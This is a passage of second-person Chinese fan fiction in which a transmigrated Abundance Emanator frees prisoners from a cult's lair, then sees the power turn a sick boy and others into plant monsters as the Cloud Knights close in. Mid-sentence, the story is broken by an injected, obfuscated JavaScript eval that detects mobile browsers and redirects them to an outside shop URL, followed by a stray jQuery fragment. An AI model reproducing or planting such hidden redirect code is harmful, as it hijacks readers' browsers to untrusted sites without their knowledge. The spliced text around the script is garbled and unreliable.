你站在空旷的大殿中央,心里翻涌的甚至不是愤怒。
愤怒需要力气,需要理由,而你现在只觉得累,只是觉得无趣。
因为你知道接下来会发生什么。
在那些被反复传颂的悲剧英雄的故事里,只要动机是“爱”,似乎一切都可以被原谅。
但你不想原谅。
高台上的魁首看着你。
你的红瞳穿过整座大殿的距离与他对视。
你忽然想起穿越前你玩这款游戏的初衷。
你不想玩那些提前设定好完美开局的存档。你相信随机的魅力,相信坏运气和好运气都有它存在的意义;你相信模拟器之所以有趣,是因为每一种人生都值得被认真对待。
复活一个死人,换取“他拥有的一切”。他拥有的一切是什么?这座药王秘传的巢穴?那些被他囚禁的人的名单?还是他手上洗不掉的血?
你忽然笑了。
笑得很轻,轻得像是一声叹息。
你真的觉得,我会帮你吗?
你真的觉得,我会按这个剧本走下去吗?
你没有说出口。
但绿色的洪流已从你脚下向四面八方涌去,淹没石砖,淹没墙垣,淹没大殿里每一寸冰冷的空间。
引路NPC跌坐在地,嘴里念着听不清的祷词,不知道是恐惧还是狂喜。
魁首没有动。
他只是站在那里,看着这场绿色的海啸向他涌来。
藤蔓吞噬一切。
它们向着大殿之外蔓延,向着那些囚室的方向蔓延。
你感觉到每一扇被藤蔓绞断的门锁,每一段被根系填满的通道,每一间囚室里惊恐的呼吸。
你能感觉到他们,你能感觉到所有的他们,那些被囚禁的人,那些还在等人来接他们回家的人。
你能救他们,你的确能救他们。
但你忽然意识到一个问题,你的力量太强大了,大到不是你在控制它,而是它在推动你。
你在被这股力量所掌控。
草木在生长,藤蔓在蔓延,它们需要养分。
而你能感觉到自己的生命力正在以肉眼可见的速度流逝。你的皮肤开始泛出病态的暗红,像是被什么东西从内部染了色。
你救了那些被关押的人。
藤蔓扯断了所有的束缚带,打碎了所有囚室的门锁,铺出了一条通往地面的路。
你听见他们跌跌撞撞地跑出来,听见有人在哭,听见有人在喊同伴的名字,听见那个失去了母亲的小孩嘶哑地呼喊你的名字。
你听见了所有的声音。
那些声音像是从很远很远的地方传来,被一层浓雾隔开。
你的藤蔓还在蔓延。
你转过头。
你出现在了一条甬道里,你为什么会在这,你刚刚不是还……
来不及继续思考下去了,你的身后传来哭泣声。
是一个发烧的少年,那个三个想逃跑的少年里年纪最小的。
他倒在地上,他的哥哥们蹲在他身边。
少年的脸很白,像是所有血色都被抽干了,只剩下纸张一样的薄。
你伸出手,想要帮帮他,对,你可以的,你能做到,你现在是丰饶令使,你可以做的。
你伸出手,丰饶之力开始流动。
少年的脸色开始回红,他睫毛颤了一下,嘴唇翕动着像是要说什么。
但你感觉到有什么奇怪的事情可能将要发生。
不,不对。
“救救他,求你了…”老大朝你哀求,“你可以做到的…拜托了。”
你的手在抖,你颤抖的很厉害,甚至无法再继续触碰倒地的少年。
少年猛地弓起背,像是被什么东西从内部击穿了。他的嘴张开了,但喉咙里只发出一声很轻的气音,像是被抽空了所有空气。
他手背上的嫩芽以肉眼可见的速度变粗、拉长,绞住他的手腕,绞住他的小臂,绞住他的肩膀。他的皮肤开始裂开,每道裂口里钻出来的不是血,是更多的藤蔓。
你以为自己做了正确的选择,你以为只要不按那个剧本走……
你以为,你以为……
但丰饶的赐福从不问承受者是否愿意。它只是给予,不断地给予。
他们都接受过药王秘传的改造…他们体内都有丰饶的种子,你…成为了丰饶的帮凶,你才是一切的罪魁祸首。
“救救他呀!你在做什么呀!”他大哥的手死死攥住你的手臂。
你不知道他是在求你救人,还是在求你住手。他的指甲掐进你皮肤里,你没有感觉到疼。
你一直盯着少年的脸。他的眼睛睁开了,他正看着你。
那眼神是困惑的。他不懂。他不懂你明明是在救他,为什么他的身体正在变成一株树。
你感觉到了,他的意识被无数正在生长的根系裹住。
他还活着,只是不再是他了。
老大的手从你手臂上滑下去。
他没有说话,他只是低头看着他弟弟,又抬头看着你。
他不哭了,他的嘴唇动了。他没有发出声,但你读懂了那个口型:怪物。
然后你听见了其他东西。
你的心头猛然一跳,是脚步声,从更远的通道尽头传来,从地面的方向传来。
是云骑军,他们终于来了。
但……好像有点太晚了……有点来不及了……
你有些茫然地抬起手,藤蔓随着你的动作起伏。
你这是在做些什么?你不是在救人吗?可是为什么?为什么这些人都变成了这样?
你站起来,腿在抖,膝盖磕在石砖上蹭破了一块,你没有低头看。
云骑军到了。
那些云骑军进入地底时,第一眼看到的是什么?
是漫天的藤蔓,是被丰饶之力彻底浸染的药王秘传老巢。
而你,一个丰饶令使,不正是如今现状的祸首吗?
你低头看着自己的手,丰饶之力留下淡青色的纹路。
你能感觉到体内的力量还在涌动,还在不断地向外释放。你试图让它停下来,但它不听你的,它有自己的意志。
魁首开口了。这是他出现之后说的第一句话。
“你感觉到了吗?”他的声音很平静,平静得近乎残忍,“丰饶的赐福从不问承受者是否愿意。它只是给予,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834475|211378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
断地给予,直到你成为它的形状。”
“你救了他们。”他说,“但你看看你救的是什么。”
你的丰饶之力在治愈这些人,同时也在吞噬这些人。
你停不下来。
“给我停下来——”你咬紧牙关,用尽全力往收回你的力量。
“你是一颗好种子,仅此而已。种子的使命是生长,不是选择往哪个方向长。”
“现在你知道了。你和我,没有什么不同。你救人的本意和结果,与我想复活一个人的执念,最终都走向了同一个结局——毁灭。”
你没有回头。因为你的眼睛里正涌出一种温热的液体,你不知道这是什么,可能是反噬的血泪吧。
你的身体内部传来一阵阵撕裂般的疼痛,你背叛了生长的本能,而生长正在惩罚你。
你的意识开始模糊。
脚步声越来越近了。是云骑军,他们已经到了。
你听见有人在惊呼“这是什么”,语气里满是惊恐。
你不太能看清了,你的视线已经被血色和绿色模糊成一片,只能隐约辨认出几道身影正朝这个方向接近。
你听到一个声音,是一个更熟悉的声音
“羽珩——”
你浑身一震。转过头,你看见两道模糊的身影正朝你跑来,一男一女,轮廓被你的血泪染成了模糊的剪影。跑在前面的女人跌了一下,被身后的男人扶住,然后她挣开他的手,继续跑。
你张了张嘴,你想说什么,但喉咙里只有一股腥甜涌上来。你把那口血咽回去,然后笑了。你也不知道自己为什么笑。
“别过来——”你终于挤出声音,沙哑得不像自己的。
他们没有人停下来。
苏晚絮跑在最前面,她的发髻散了,衣裙上沾满了地底的泥灰。
她的眼睛还是那双温柔的眼睛,但眼眶是红的,红得像是熬过了太多太多没有星星的夜晚。
她看见了满地的藤蔓,看见了你身上缠绕的暗红枝条,看见了你指缝间还在渗出的血。但她没有停。
“不要过来——”
她没有停。岑随跟在身后,你想看看他的脸,但视线被糊得太厉害,只能看见他张开嘴,在说什么。
你努力辨认他的口型。他在说:阿珩…阿珩…阿珩…
苏晚絮没有跑到你面前,她被云骑兵拉住了。
你想让她抓住你,你想扑进她的怀里,想闻她袖口里草药的苦味,想把脸埋进她的掌心,想告诉她这一个月来你每一天都在等。
视野里是模糊的甲胄反光,云骑军已经包围了这里,至少有十几张弓对准了你,对准了那些还在逃跑的转化后的丰饶孽物,对准了站在你身后不远处的魁首。
为首的那名云骑军官正在喊话。
“不要上前,他很危险!这是一位丰饶令使!他不是你们的孩子了!”
不是啊,我还是,你还是,你是谁?你是丰饶令使?你是羽珩?你是一切的凶手。
你听见有人在喊“丰饶孽物”,声音从四面八方同时涌来,裹着怒火和恐惧。你听见有人在喊你的父亲的名字,叫他和夫人退后。
他们被人拽走。